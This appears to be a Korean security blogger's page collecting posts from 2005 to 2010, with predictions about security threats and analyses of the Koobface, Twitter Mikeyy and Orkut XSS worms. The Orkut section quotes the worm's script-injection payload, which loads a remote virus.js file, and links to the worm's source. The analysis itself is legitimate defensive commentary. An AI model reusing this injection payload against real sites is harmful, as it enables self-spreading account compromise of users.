   너무 빨리 문제제기를 한 면이 있지만 향후 지속적으로 일반화 될 것으로 예상 됩니다.


* 무선 및 WiBro , DMB의 활성화를 통한 웜 전파  ( 요건 스마트폰 및 기타 매개체로 변경 될 수 있겠네요)

   (IP 기반의 모든 머신에 해당이 될 것이며 이 경우에는 프로토콜 간의 Gateway의 보안설정 이나 허용 조건에 따라 보다 많은

   편리성을  제공할 경우 광범위하게 전파가 될 것으로 판단됩니다. )


* 보안 인력의 부재 지속

  (전문성이 지속적으로 떨어지고 있는 현실에서 각 영역을 종합적으로 대처할 수 있는 보안 인력은 수요는 급증하나

  인력은 계속 부재한 상황이 지속 될 것입니다. )

 

시스템 , Application , 네트워크 , 종합적인 대응 , 보안 체계 수립 이 모든 분야를 컨트롤 할 수 있는 마스터급의 보안 인력은 향후 매우 부족하게 될 것으로 판단 됩니다. 또한 Penetration Test의 영역이 매우 확장이 되어 상당히 많은 부분을 커버하게 될 것으로 예상이 됩니다. 물론 수요도 많이 있을테지만 국내의 현실상 오랜기간 숙달된 인력이나 전문성을 유지하고 있는 인력의 부재로 힘겨운 상태가 지속이 될 것 같네요. 협상력만 잘 보완 한다면 적절한 전문성을 유지한 인력의 경우 상당히 좋은 대우를 받을 수도 있을 것 같습니다.


* Application 취약성 발견 지속 및 클라이언트 공격 , 피싱 공격을 통한 이익 추구 일반화

(올해도 지속이 되었듯이 향후에도 지속이 될 가능성이 높습니다. 또한 신규 프로토콜 상의 문제를 이용한 새로운 유형의 공격들이 나올 가능성이 높다고 판단됩니다. 특히 무선 관련된 802.X 대역에 대한 문제 출현 가능성이 높습니다. )


* Bot Network의 복잡화 및 일반화

(Bot 공격의 복잡성은 향후 지속적으로 증가 될 것이고 말 그대로 MonsterBot으로의 진화가 진행 중이며 더욱 심화 될 것으로 판단됩니다. 또한 일반적으로 알려지는 고유명사화 될 정도로 피해를 입힐 수 있을 것 입니다.)


* 수정 할 수 없는 Application 결함의 증가

(취약성을 수정하거나 보완의 책임이 없는 공개 소프트웨어 혹은 개발사의 몰락으로 인한 위험성 증가 )


위와 같이 예상이 가능합니다.

이에 대한 대응 및 보안 활동으로는 다음과 같은 행위가 이루어 질 수 있습니다.


대응 및 발생 현상 :

 

*Application 개발 프로세스 단계에서의 보안성 검토 일반화

*Application 취약성 진단 도구의 활성화

*웜의 일반 PC 침투에 따른 PC 보안 강화
( 패치 및 PC 솔루션 회사들 기회가 될 수도..)

*바이러스 및 웜 제작의 일반화에 따른 보안의 어려움 따라서 능력이 있는 회사의 경우 자체 제작이나 변형의 요구에 따른 매뉴얼 보안 툴의 출현 가능성 ( clam 백신처럼...)

* 공격에 대응하는 속도를 따라가지 못함으로 인해 지속적인 피해 속출 가능성

* 보안 전문 인력의 이탈 가속화
( 노력에 대한 성취도가 매우 낮아 질 것으로 보임.. 노력을 기울여야 하는 부분은 매우 많아 질 것이나 그에 따른 성취도는 낮으며 업무강도 및 피로도는 급증 할 것으로 예상됨 )

* 위의 항과는 반대로 보안 인력풀은 산업의 요구에 의해 지속적으로 증가 요청이 있을 것임. 그러나 전반적인 하향 평준화는 어쩔 수 없을 것으로 예상됨.

 

기타


*MS 등의 OS 벤더의 기타 사업 진출 가속화
( 보안 및 기타 영리 분야로의 대대적 진출)

 

* 구글등에 의한 Contents 제공 회사의 인프라 점유 확대 및 인프라에 대한 비용이 아닌 컨텐츠 제공에 따른 비용을 청구 받을 가능성 매우 증대

( 이런면에서 구글의 인프라 사업 진출 및 무선망 확대 사업은 매우 중요한 의미를 지님)

*손쉬운 IT 기업의 창업이 어려워짐

( 일정 규모 이상의 IT 대기업 출현으로 아이디어를 통한 신규 진출 및 창업이 어려워 질 것이며 인프라 및 보안 분야에 대한 일정 수준 이상의 요구를 맞추어야 함으로 더욱 더 어려워 질 것임. 보안 취약성은 기업의 규모를 가리지 않고 발견이 되고 있으며 일반 Application 발견 비율이 매우 높아 안전한 보안성을 지닌 소프트웨어 설계에는 매우 많은 비용이나 시간이 소요 되고 있음 )

* 세계적인 보안 부분 대기업 출현

시만텍 등의 보안 전문 출발 회사 부터 네트워크 부분의 시스코등에 의한 보안 분야 흡수 합병을 통한 거대 기업 출현으로 한 분야의 전문회사는 독창성이나 기술 모방성에 대해 독보적인 영역을 지니지 않는 이상 견디기 힘든 환경 지속될 것임.


위와 같이 아침에 번뜩 든 생각을 정리해 봤습니다.

짧은 생각이지만 참고 하시고 좋은 의견 있으시면 붙여 주세요.
 
-> 위의 내용이 2005년에 해랩 사이트에 올린 예상입니다. 얼마나 달라졌을까요? 그리고 지금은? 예상적중률은 어느정도? 

 지금은 거의 예상을 포기한 상태인데.. 위협은 2005년의 현실 인식이나 지금 2010년의 현실에서도 동일하며 더 가중 되어 있습니다. 대책 부분도 이미 6년이나 된 이야기 이지만 제대로 된 부분 있습니까?  지금도 필요하지만 논의는 산으로 가고 있습니다. 문제를 통찰하는 근본적인 인식을 가지거나 최소한 듣는 귀라도 가지기를 바라지만 여지껏 제대로 된 것은 없는 것 같습니다.

 

앞으로의 변화와 위험들은 지난 블로그 및 컬럼 글에서 지적한 대로 입니다. 야생의 시대로 완전한 돌입이 되겠습니다.

Posted by 바다란

2009년 4월에 기고한 Facebook과 Twitter의 문제점 들입니다. 그때 당시만 해도 국내에서는 아직 인지도가 떨어질 때였고 사건 사고의 심각성도 모를때 였습니다만 이제는 사용 하시는 많은 분들이 아실 것 같습니다. 이 문제들도 한번쯤 읽어 보시기 바랍니다.

 

Small world Security (Koobface, Mikeyy )  - zdnet 컬럼 바다란.

 

Internet Security의 변화는 지금의 시대에 이르러 완연하게 전환점에 도달해 있다.

기술의 발전과 도구의 개념에서 필수적인 매체로 전환됨에 따라 더욱 밀접하게 사회와 그리고 개개의 인간과 연관성을 지니고 있다. 더불어 취약성과 공격이라는 관점도 변화를 역력하게 보여주고 있다.

 

Internet이라는 개념은 이제 생활의 도구에서 필수적인 요소로 완전하게 자리매김을 하고 있는 상황이며 그 중에서도 Social Network Service 영역은 국내는 물론 전 세계적으로 가장 큰 흐름을 보이고 있는 부분이다.

 

Small World Theory는 케빈베이컨의 6단계를 의미한다. 사람과 사람 사이의 관계에서는 6단계만 거쳤을 때 모르는 사람이 없다는 내용이며 Small world라는 개념으로 이야기 하기도 한다. 마케팅 및 Social Network Service 영역의 기본 바탕이 되는 개념이고 국내의 많은 사이트들과 세계적인 흥행을 하고 있는 여러 서비스들의 기본적인 이해와 연관이 있다. Small World Security는 어떤 관련이 있을까? 관계로 맺어진 Service Network는 과연 안전한가 하는 질문과 함께 가볍게 시작한다.

 

Twitter(www.twitter.com) Facebook(www.facebook.com) 유형의 서비스는 전 세계적인 반향을 얻고 있는 서비스라 할 수 있다.  공격은 항상 가장 많은 반응을 얻을 수 있는 부분에 집중이 된다. 4월에 외신에서 언급된 두 SNS 사이트에서 발생된 이슈들은 한번쯤 심각하게 언급이 되어야만 하는 이슈이다.

 

그럼 어떤 일들이 있었을까?  드러난 사실만을 가지고 분석과 유추를 해본다.

 

먼저 Koobface Facebook에서 발생된 Malware를 의미하고 이 악성코드는 지독하게도 Facebook과 유저를 괴롭혀왔다.  단순하게 Facebook이 지닌 구조를 이용하여 Friend List등에 악성코드를 설치하는 링크를 가진 여러 유형의 메시지를 전달한다.  당연히 무작위적인 스팸보다는 성공률이 높다. 악성코드를 설치하는 링크를 순수하게 Facebook Friend List 구조 (쉽게는 국내의 SNS 1촌관계를 의미)를 이용하여 메시지를 전달함으로 인해 성공률이 높아진 것이다. 또한 다운로드의 경우는 Adobe Flash를 가장하여 설치를 하도록 유도함으로써 악성코드 설치 성공률을 대폭 늘린 케이스다.

3월에 이르러 Facebook은 다른 대응 방안을 모색한다. Koobface라 이름 붙여진 웜의 경우는 다운로드를 통해 사용자의 PC에 설치가 되며 사용자의 정보유출은 물론 Botnet을 구성하는 하나의 좀비 PC로도 활용이 가능한 유형이였고 전파 유형도 구조를 이용하여 지속적인 스팸과 메시지를 보냄으로 인해 기업의 비용도 높아 졌을 것이다. 확산의 속도도 굉장히 빨랐을 것은 명확하다. 개별 소스코드의 수정을 통해서는 이미 설치된 웜에 대해서 대응 하기가 어렵고 Friend List를 이용하는 방안을 수정한다 하여도 공개된 부분인 만큼 분석을 통해 새로운 변형들이 지속적으로 출현 할 수 밖에 없는 상황이였을 것이다.

 

<koobface 웜을 설치하는 다운로드 경로를 지닌 메시지 >

 

구조를 이용한 확산과 신뢰관계를 기반한 악성코드의 확산은 대규모 Botnet의 구성과 정보의 유출이라는 상황에 직면 할 수 밖에 없게된 Facebook은 최근 몇년간 활발하게 Anti Virus 영역에 진출하고 있는 Microsoft와 협력하여 악성코드에 대한 대응을 시도하게 된다. 그 결과는 2주 동안 20만회의 Koobface웜 설치 시도를 133600 여대의 PC에서 탐지하고 제거하게 된다. ( ref: http://news.cnet.com/8301-1009_3-10210376-83.html ) 또한 탐지된 변형만도 100여 종에 이르고 있어서 추가적인 내용은 더 크게 나타날 것으로 보인다.

 

 

속임수라 부를 수 있는 사회적 공학기법 (Adobe Flash 설치로 위장한 점과 흥미를 유발하는 메시지 관점)과 관계를 이용한 설치 경로 제공은 특정 서비스에 국한될 수 밖에 없는 문제를 가지고 있지만 대규모 사용자를 가지고 있는 서비스의 경우에는 특정 서비스에 국한 되더라도 충분한 효과를 가지고 있음을 보이는 것이다.

 

서비스와 연관된 공격은 사실 이 경우가 처음은 아니며 구글에서 운영하는 Orkut의 경우에도 이미 관련된 사례가 존재하고 있다.

(http://blog.naver.com/p4ssion/50026431192 )

 

Koobface 이슈를 보며 이제는 서비스에 국한된 웜이나 악성코드의 경우에도 전역적인 대응이 가능한 매개체 ( Anti virus 업체도 매개체 중의 하나이다.)를 이용하여 대응을 해야 할 정도로 난이도가 있고 서비스업체 자체적으로 처리 하기에는 어려움이 많아짐을 보이고 있다.

 

Mikeyy” 라는 이름은 Michael Moony라는 17세 소년의 애칭으로 볼 수 있다. 이 이름은 최근 몇 주간을 Micro Blogging 서비스로 유명한 Twitter 4월을 시끄럽게 만들었다.

Twitter( Micro Blogging 서비스)를 시끄럽게 했던 이슈는 XSS ( Cross site scripting ) 취약성을 이용한 Application Worm 이라 할 수 있다.

( ref: http://blogs.zdnet.com/security/?p=3125  )

17세 소년은 Twitter에게 문제를 해결 할 수 있도록 제안하는 어떤 통로도 발견 할 수 없었고 문제에 대한 의견을 받은 적이 없어서 어쩔 수 없이 이런 행위를 할 수 밖에 없다는 정당성을 주장하기도 하였지만 피해를 입힌 것은 분명하여 어려움이 있을 것으로 예상 하였다. 그러나 전체적으로 악의성은 적으며 취약성을 알리고자 한 목적이 주된 목적이라는 것이 어느 정도 감안이 되는 방향으로 인식이 되는 것으로 보인다. 문제 해결에 대한 반응이 없을 때마다 추가적인 공격을 시도하고 그 이후 일정수준에서 종료를 하는 방식으로 ( 종료는 중간에 반드시 참고를 하도록 되어 있는 링크를 제거하는 형태로 이루어졌다. ) 이슈화를 시켜 반응을 이끌어낸 점은 분명히 있다.

 

4.17일에 추가된 소식은 4~5가지의 변형을 이용한 XSS 취약성 공격을 직접 보고 능력을 인정한 ExqSoft라는 이름의 Web application 개발 회사에서 Security 담당으로 채용을 했다는 것으로 전해진다.

 

문제의 이슈는 관계형 네트워크 서비스의 장점을 이용하여 악성코드도 충분히 심각한 피해를 입힐 수 있다는 점이고 공격자가 사용한 XSS 공격코드가 만약 악성코드를 다운로드 하거나 설치하는 유형 이라면 심각한 피해를 일으킬 수 있었음을 의미하기도 한다.

 

공격의 출발은 아주 작은 부분에서부터 시작하여 급격하게 확산하는 과정을 거치는 것이 Service Application을 공격하는 유형이다. Twitter worm의 시작은 초기 4개의 계정에서 출발한 것으로 알려진다.  4개의 계정도 공격자가 생성한 계정이며 이 계정에는 외부 링크를 포함하고 있던 것으로 확인된다. 새로 개설한 계정정보를 확인하는 다른 사용자들에게 자동으로 감염을 시키며 외부 링크에 존재하는 스크립트 파일은 또 다시 감염된 사용자의 Twitter 계정정보를 이용하여 profile을 변조하고 사용자의 전체 Friend list에 대해 스팸유형의 메시지를 대량으로 발송하는 것을 반복하도록 코딩이 되어 있다.

 

이 중에는 아래와 같은 특정 사이트 링크로 사용자의 Profile을 변경한 유형을 직접 살펴 볼 수 있다. 아마 1주일만 있었어도 전체 Twitter 사용자의 상당수가 피해를 입었을 것으로 볼 수가 있다. 더불어 악의적인 행위를 하고 악성코드의 전파를 위한 방식을 좀 더 koobface와 같이 교묘하게 하였다면 더 심각한 피해는 불을 보듯 뻔한 사례이다.

 

 

< Twitter worm 에서 변조한 Twitter 사용자의 Profile>

 

이미 2007년의 Myspace웜의 경우에도 발생 하였고 Google의 서비스에서도 발생하였으며 Yahoo, AOL 등과 같은 연관 관계가 있는 서비스 및 Social Network Service를 주력으로 삼고 있는 서비스 기업에는 모두가 수 차례씩 경험이 있을 것이다. Twitter에서 발생한 이슈의 경우는 심각하게 변화하기 이전에 이슈화만을 목적으로 진행한 것이며 개인 PC 및 여러 서비스 부분에 매우 심각한 영향은 존재하지 않았으나 위험성은 충분히 확인된다.

 

 

Small world는 인간 세상의 온라인화를 명확하게 보여주고 있다. 인간의 관계의 측면은 서비스의 프로그래밍적인 구성으로 연결이 되고 있고 이와 같은 구조는 그리 어렵지 않게 파악이 가능하다. Web을 이용한 구성은 접근성의 확대와 서비스의 세계화에 기여하지만 그 구성의 기본을 파악하는 것과 구조를 이해하는 것은 어렵지 않다.

공격자들의 기본은 항상 적은 노력으로 많은 효과를 얻는 곳을 중점적으로 노린다. 운영체제에 대한 일방적인 Worm 유형으로 공격을 하였다면 이제는 보다 더 대상을 구체화 하고 확산효과를 확실히 볼 수 있는 SNS 와 같은 유형으로도 손쉽게 확대된다.

 

최종적으로 올해 4월에 발생된 두 가지 정도의 이슈에서 살펴봐야 할 점은 몇 가지 정도가 존재한다..

 

-      Application에 대한 공격은 개별 Application에 대한 공격을 넘어서 특정 사이트에서 구성하고 있는 논리적인 구조에 대한 공격도 이제는 일반적인 유형이며 대응을 위해 Anti Virus 솔루션까지도 동원을 하여야만 가능한 범주에 들어섰다는 점이다.  이 점은 Facebook에서 발생된 악성코드 전파 유형이 Facebook 자체의 Web Application Logic을 이용하여 전파되고 확산되는 유형을 가지고 있으며 더불어 시스템에 피해를 끼치는 유형까지도 동시에 확산이 되었다는 점이다.  즉 확산속도는 Small world Theory에 걸맞게 급속 확산이 되고 더불어 개인PC를 완벽히 제어하는 악성코드까지 설치 됨으로 인해 피해는 심각한 상황이 된다.

 

-      특정 기업이나 서비스에 특화된 확산 방식을 보임으로 인해 지금까지 출현한 형태 보다 난이도 및 피해가 심각한 유형이 발생될 경우 특정 서비스의 몰락을 매우 손쉽게 가져 올 수 있다는 점이다. 기업측면에서는 서비스에 특화된 보호대책을 반드시 강구해야만 하고 초기 단계에 발견과 대응이 가능한 구조적인 조직과 인력을 유지해야만 한다는 점이다. 새로운 부담으로 다가올 수 있다.

 

-      현재 보다는 악성코드의 결합유형을 보았을 때 향후에는 여러 서비스를 동시에 공격하고 전파하는 Application 차원의 Fusion Worm도 멀지 않아 확인이 가능할 것으로 보인다.

 

 

생소한 내용으로 보일 수 있지만 피해는 개인 사용자에게 직접적으로 다가온다는 점이며 개인 사용자의 관점은 국내와 국외를 가리지 않는다. 국내 서비스에 대한 공격도 만약 이득을 취할 수 있다면 언제든 발생이 가능한 부분이다. 메신저를 이용한 메시지나 악성코드 설치 유형도 동일 관점에서 볼 수 있다. 다만 Web Application의 논리적 구조를 이용한 공격의 경우는 개인 PC외에도 Web Service 상에서도 살아서 그대로 존재하고 있어서 계속 되는 것이 다를 뿐이고 개인 PC 차원의 대응 외에도 서비스 기업 자체의 대응도 있어야만 해결이 된다. 문제의 해결을 위해서는 좀 더 체계적이고 협력적인 관계가 요구 될 수 밖에 없다.

 

국내의 현실은 본 글에서 언급한 Application Attack에 대한 관점보다 더 심각한 상황이지만 어디에서도 언급을 하지 않는다. 아니 전체 인터넷 서비스에 대해 논의가 되지 않는다. 경쟁력과 가능성을 지니고 있음에도 불구하고 애써 외면 당하는 현실이 안타깝기만 하다. Security라는 관점에서 현재의 문제점을 한번쯤 고민 해야만 할 것이다.

 

무형의 가치가 더 중요한 의미를 지니고 있는 시대에 유형의 가치만을 보려고 하는자 얼마나 어리석은가!

 

Internet은 넓으면서도 얼마나 작은 세상 이던가!

 

바다란 세상 가장 낮은 곳의 또 다른 이름 ( http://p4ssion.pe.kr )

 

   

Posted by 바다란

바다란입니다.

 

지난해 초에 Web 2.0의 위협요소와 관련하여 여러 곳에서 발표를 한 내용이 있습니다. 그 PPT의 마지막장에 앞으로 다가올 위험요소들은 무엇이 있을까?에 대한 예상을 게재한 바 있습니다.

그 예상은 다음과 같습니다.

 

 

2007년 2월에 작성한 예상은 지금도 유효하며 향후에도 3~5년 가까이 유효한 예상입니다. 2006년 하반기에도 비슷한 이슈들이 있었으나 분석가들 대부분은 개별 기업의 문제로 치부하고 단편적인 이슈로 취급을 하였습니다. 세계적인 경우에도 비슷합니다. 국내의 경우에는 당연히 기사를 받아다 쓰는 경우 외에는 없었죠.

 

이 예상의 근거는 무엇인가 하면 취약성의 발견과 공격 기법의 변화, 파급효과에 따른 기대치에 따라서 예상이 되었습니다. 보다 많은 대상자에게 공격을 하는 패러다임의 전환기에서 일반 사용자 PC를 공격하기 위한 다양한 Bot 들이 출현 하였다면 이제는 보다 더 대상을 명확하게 규정하고 확실한 효과를 보기 위해서 Web Application worm을 이용한다는 변화가 심각하게 눈에 들어 왔기 때문입니다.

 

앞으로의 예상도 유사합니다.

보다 많은 대상자에게.. 보다 많은 유효한 대상에게 전파를 하고 확실한 효과를 얻기 위한 공격 기법은 계속 될 것이고 이 공격은 Cyber Black market이 존재하는한 ( 향후 몇 십년간 근절될 가능성은 없습니다. 인간의 기본적인 속성상..) 계속 될 수 밖에 없습니다.

 

Web을 통한 악성코드의 유포의 경우에도 일반적으로 국내와 최근의 해외의 경우에는 특정 게임의 계정을 탈취하기 위한 공격들이 많았습니다. 특정 게임의 유저들이 자주 방문하는 사이트를 공격하는 경우가 일반적이였으며 이제는 전체의 대상자를 겨냥한 사이트 공격이 일반화 되어 있습니다. 

 

악성코드의 두 가지 흐름은 Application Attack 관점에서 두 가지 방향으로 볼 수 있습니다. 하나는 위에 언급한 악성코드 유포를 위한 관련성 있는 Web site에 대한 직접적인 공격 ( Application의 Perimeter validation error 부분을 공격 - ex : sql injection, Cross Site Scripting)을 통한 방문자 PC 악성코드 전파 사례와 또 다른 하나는 직접적인 Service 구조를 공격하는 Application Attack이 있을 수 있습니다.

 

첫번째 케이스는 이미 이 블로그에서도 상당부분 지적한 바 있으며 Service에 특화된 공격들도 예를 든 적이 있습니다. Yahoo Messenger에 대한 공격, Myspace에 대한 악성코드 Attack들이 있으며 지난해 12월에 발생된 Google의 orkut ( SNS) 사이트에 대한 공격이 특별한 예가 될 수 있습니다.

 

Orkut에 대한 공격은 하기의 링크를 참조 하시면 일정 수준의 정보를 얻을 수 있습니다.

 

http://www.news.com/8301-10784_3-9836029-7.html?tag=nefd.only

http://www.cgisecurity.com/2007/12/17

 

source code & analysis

 

http://www.marrowbones.com/commons/technosocial/2007/12/orkut_worm_code_and_why_was_go.html
http://ha.ckers.org/blog/20071220/orkut-xss-worm/

 

위와 같이 정보의 확인이 가능합니다. 위의 기사에서 언급 되었듯이 40만명 가까운 유저에게 짧은 시간동안에 Worm이 퍼지는 것을 확인 할 수 있습니다. 관계로 이루어 지는 모든 SNS 사이트들은 동일한 구조를 지닐 수 밖에 없으며 문제를 가지고 있습니다. 이제는 Web을 통한 연결이 일반화 되고 다양한 연결 도구들을 활용 하여 ( AJAX, RSS , ATOM ...) 연결이 이루어짐으로 인해 피해는 특정 서비스에 한정된 모든 사용자들에게 전파가 됩니다.

 

orkut worm에서의 중요 코드는 다음과 같습니다.

"[/silver]<br/><embed src=\"http://www.orkut.com/LoL.aspx\" type=\"application/x-shockwave-flash\" wmode=\"transparent'); script=document.createElement('script');script.src='http://files.myopera.com/virusdoorkut/files/virus.js';document.getElementsByTagName('head')[0].appendChild(script);escape('\"width=\"1\" height=\"1\"></embed>";

 

위의 코드에서 중요한 부분은 사이트 실행시에 전달되는 인자 값에 script가 실행되는 문제가 모든 문제의 시작이라 할 수 있습니다. 전달 되는 인자값에 스크립트가 실행됨으로 인해 스크립트 내의 소스코드들은 orkut의 Friend list를 가져오고 전파하는 유형의 코드들을 볼 수 가 있습니다.  ( 상세 내용은 위에 언급한 URL 내의 소스코드를 일부 분석해 보시면 연관관계 파악이 가능합니다.)

 

지난해 초에 제시한 Next Threat의 특징들에 제시된 내용과 동일함을 볼 수 있습니다.

 

Application Web service worm 이며 특정 서비스에만 국한된 국지적인 영향 ( Google의 orkut) , Ubiquitous Attack ( 유,무선 사용자들에게 동일한 영향을 미침), 더불어 플랫폼에도 국한되지 않는 공격입니다.

대안으로는 여러번 언급 하였으나 모든 Application에 대한 사용자 접근 지점에 대한 Validation check의 일반화 , 사고 발생 이후의 빠르고 역동적인 대응만이 해결책입니다. 이 부분을 처리 하기 위해서는 수준높은 전문가의 활용과 서비스에 익숙한 보안 전문가들의 확보가 필수적입니다. 세계적인 기업들에 Application security 전문가들의 자리는 앞으로도 많이 비어 있을 수 밖에 없습니다. 그만큼 기회도 많고 Risk도 높다는 이야기 입니다. 국내라고 예외 이겠습니까?...

 

많은 IT 서비스 기업들이 보다 더 사용자 접근성을 강화하고 활발하게 하도록 구성이 되고 있는 지금 시점에 해외보다 더 많은 위험들이 존재한다고 볼 수 있습니다. 단지 공격에 대한 기대 효과가 있느냐 하는 가치의 문제 때문에 시도가 되지 않는 것이죠. 일부 대규모 IT 서비스 업체에서는 알게 모르게 Service에 특화된 Attack들이 다수 있었을 것입니다. ( 부정 할 수 있는 서비스 업체가 어디 일까요? )

 

왜 이런 유형들이 발생되고 있고 향후에는 어떻게 될 것인지에 대해서 인지하는 것은 중요합니다. 그러나 그 어느 누구도 중요성을 언급하지 않습니다. 05년 부터 중국발 해킹의 위험성과 파괴력에 대해서 언급 하였으나 세계적인 흐름은 07년에 들어서야 가까스로 피해를 입고 인지하는 수준으로 전달이 되고 있습니다. 그만큼 국내의 환경은 빠르고도 역동적인 기회를 부여합니다. ( 보안전문가들에게..) 더불어 그만큼 가혹한 노력을 요구하는 환경입니다.

 

앞으로의 방향성에 대해서 고민하지 않는 전문가. 생각조차 하지 않는 전문가들은 가치가 없습니다.

치열하게 고민해야 됩니다.

 

 

특화된 Service Attack은 계속 발전할 것이고 사용자 연결 지점의 사소한 문제들도 이제는 전체의 서비스에 영향을 미치는 거대 사안이 될 수 있습니다. 그만큼 중요도가 높아 진다는 것이죠.

변화를 따라 갈 것이냐 리딩 할 것이냐는 마음먹기에 따라 달린 것입니다.

 

올해도 또 이렇게 시작합니다.  앞으로도 많은 관심과 질책을 아낌 없이 주셨으면 합니다. 지난 한해 감사했습니다.

 

- p4ssion is never fade away . 바다란

 

 

 

 

Posted by 바다란

IT 리스크의 현실 – 2009 글로벌 보안 위협의 변화 2 -zdnet 컬럼

                               

 

 

지난 편에서 공격과 방어의 현실에 대해서 살펴 보았다. 각 글로벌 기업들의 피해 현황과 대응 방식의 변화를 통계치를 통해 살펴 보았다. 또한 공격 기술과 방어기술의 차이가 벌어지고 있으며 그 차이는 더 큰 격차를 보이고 있음을 간략하게 살펴 보았다.

 

두 번째 글인 이번 컬럼에서는 IT 시스템과 서비스가 가지고 있는 실제적인 리스크의 현실에 대해서 통계치와 조사된 자료를 통해 간략하게 알아보고 변화가 어떻게 진행 되고 있는지 알아본다.

 

컬럼 이전에 필자가 보는 보안과 시대에 대한 관점에 대해 잠시 언급 하도록 한다.

 

국내의 보안 현실에 대해서 논의 하는 것은 특별한 의미가 없다. 모든 현상은 이어져 있으며 글로벌 연동이 일반적인 현실에서 국지적이고 지역적인 위험을 언급한다는 것은 의미가 없는 논의일 뿐이다. 현재 발생되는 문제들도 국내에만 국한된 문제들은 없다.

 

보안과 해킹이라는 분야는 창과 칼의 의미를 지닌다. 문제점을 찾아내고 문제점을 대비 할 수 있는 체계를 갖추는 것은 분야별로 또 규모별로 달라져야 하고 방안도 달라야만 한다. 그러나 무엇에 대한 대응 이라는 주제는 어디나 동일 할 수 밖에 없다.

 

일반적으로 변화는 새로운 요구를 수반한다. 새로운 요구는 기존질서와 규칙의 붕괴를 때때로 가져온다. 기존의 질서를 유지하고 안정감을 가지려고 하는 시도는 인류의 오랜 역사와도 같이 하는 본성일 뿐이나 변화를 거부 할 수는 없다. 그래서 임계점에 도달하면 극적인 붕괴나 변화가 시작 된다.

 

지금의 변화는 어떤 요구를 수반 하고 있을까?  IT서비스와 인터넷은 전 세계 경제 활동 인구의 대부분에게 영향을 미치고 있다. 보안이라는 관점은 역설적이게도 전문분야 이면서도 전 세계적인 영향력을 가질 수 밖에 없다. 각 부분별로 변화는 다양하나 대응 형태에서는 유사함을 띌 수 밖에 없다. 모두가 이어진 세상이고 거의 실시간으로 공간과 거리의 문제를 간단하게 일축 하고 있다. 

 

문제 발생은 이제 지역적으로 일어나지 않는다. 큰 변화를 일으키는 많은 문제들은 시간이 지난 후에야 문제를 인지하고 그 문제로 인해 변화가 이루어 졌음을 알게 된다. 시간이 지난 뒤에 돌아보면 변화를 일으킨 문제들을 알게 된다. 막상 그 당시에는 몰랐어도…… 

 

지금의 IT 환경의 많은 변화들은 자유로운 지식의 공유와 인간 능력의 확장을 하고자 하는 기본적인 의지로부터 비롯되고 보안이라는 측면은 상처 받고 깨지기 쉬운 도구를 한계에 도달 하지 않도록 지켜내고자 한다.

그러나 공격 기술과 보호 기술의 격차는 점점 더 차이를 벌여가고 있다. 다양한 한계와 제약에 의해 보호 기술의 발현은 어려움이 있다. 공격 기술은 어려움 없이 세계적인 영향력을 갖추나 보호 기술은 강력한 제약들을 많이 가지게 되고 현재는 대응 수준마저도 현실을 지켜 내기는 어려운 실정이다.

 

새로운 위협에 대해서 인지를 하고 기존의 위험들이 어떤 영향을 가지고 있으며 어떤 결과들을 초래 할 수 있는지에 대해서 아는 것은 국가나 기업, 산업의 미래 방향성과 발전에 큰 힘이 된다. 특히 지식 기반 산업을 중점으로 추진 하는 곳일수록 분명한 힘이 될 수 밖에 없다. 일회성 개발과는 차원이 다른 성장동력이 지식기반 산업이다.

 

지식기반 산업에서의 가장 중요한 리스크 관리는 근간을 위협할 수 있는 변화를 알아서 대응을 하고 장기적인 방안을 마련 하는 것이 가장 중요하지 않을까?

특히 현재의 지식기반 산업의 기반에는 공유되는 정보와 체계적으로 누적된 데이터에 기반한 산업이 가장 큰 영향력을 나타내고 있으며 가장 중요한 도구로서 인터넷은 절대적인 가치를 지니고 있다. 그리고 그 인터넷은 현재 심각하게 위협을 받고 있다. 시간이 지날수록 위협의 강도는 근간을 흔들게 될 것으로 본다.

 

서론이 길었다. 차후에 보안과 해킹 그리고 산업에 대한 관점으로 별도의 글을 고민 해보도록 하고 이번 컬럼의 주제로 돌아가자.

 

 

n  내부. 외부 어디가 더 문제?

 

보안 사고들이 발생 될 때 마다 이전까지 항상 언급 되던 것이 내부자에 대한 통제 문제였다. 내부자에 대한 통제 문제는 대부분의 중요사고나 정보 유출 사고들이 내부자에 의해 대규모로 발생한다는 점에서 항상 강조 되던 문제였다. 그러나 지금도 그럴까?

 

지금도 그러한가 하는 질문에 대한 필자의 대답은 글쎄이다. 전체적인 사건사고들이 증가한 이유도 있겠으나 가장 중요한 문제는 폐쇄형에서 개방형으로의 진화가 차이를 이끌었다고 보고 있다. 접근 지점이 이전에는 내부에서 밖에 접근 할 수 밖에 없었다면 이제는 Application의 취약성을 타고 중요정보들이 저장된 Db에 직접 접근이 가능한 문제들이 발생 한다.

 

일반적인 개요이지만 네트워크 단위의 문제와 OS의 문제, Application에서 발생되는 문제는 앞서의 컬럼에서도 언급 하였듯이 역삼각형 구조를 지니고 있다. Sans의 컬럼에 잘 표현된 이미지가 있다.



각 부분별로 세분화가 가능하나 취약점의 개수로 보면 가장 정확한 모양을 나타내고 있다. 취약성의 발전 현황에서도 최초에는 네트워크 프로토콜에 대한 문제들이 나오고 이후 운영체제의 이슈, 운영체제에 종속된 어플리케이션에 대한 문제 ( 위의 이미지에서는 OS Libraries로 표시됨)가 나타난다. 그 이후 발생되는 문제는 OS에 종속적이지 않은 어플리케이션의 문제이다.

 

시기적으로 90년대 까지는 Network Protocol Network 상으로 오픈된 서비스들에 대한 문제들이 주된 이슈였고 이후 운영체제의 문제로 넘어가게 된다. 2000년대 초에 이르러 운영체제에 대한 문제들과 운영체제 종속적인 취약성들이 영향을 미치게 된다. 이때 까지만 하여도 보안과 해킹이라는 영역은 소수의 전문가들의 영역이었고 피해 범위도 제한적인 범위였다.

 

이후 2004~5년을 기점으로 하여 Application에 대한 공격으로 세계적인 흐름은 전환이 되었다. 실제로 이 전환기의 공격을 가장 처음 격렬하게 경험한 곳도 한국이다. 그럼에도 불구하고 대응책이 완료 되었거나 경험에 의해 진보 되고 있다고 표현 하기에는 어렵다.

 

운영체제의 경우에는 벤더사에 의해 주기적인 업데이트가 제공이 되고 있다. 그러나 개발자들이 개발하여 서비스화된 서비스들의 경우에는 주기적인 업데이트나 문제의 해결은 멀고 먼 일이다.

현재 직면한 현실의 문제는 여기에서부터 비롯된다.

 

웹서비스와 데이터베이스는 연결 통로를 가지고 있고 현재의 공격자들은 개발된 웹 서비스의 문제점을 이용해 데이터베이스의 정보를 가지고 가거나 시스템에 백도어를 설치해 내부망에 침입하는 도구로 사용 한다. Application에 대한 공격과 데이터베이스까지의 직접 연결은 내. 외부에서의 정보 유출사고들에 있어서 경.중에 대한 구분을 없애고 있다.

 

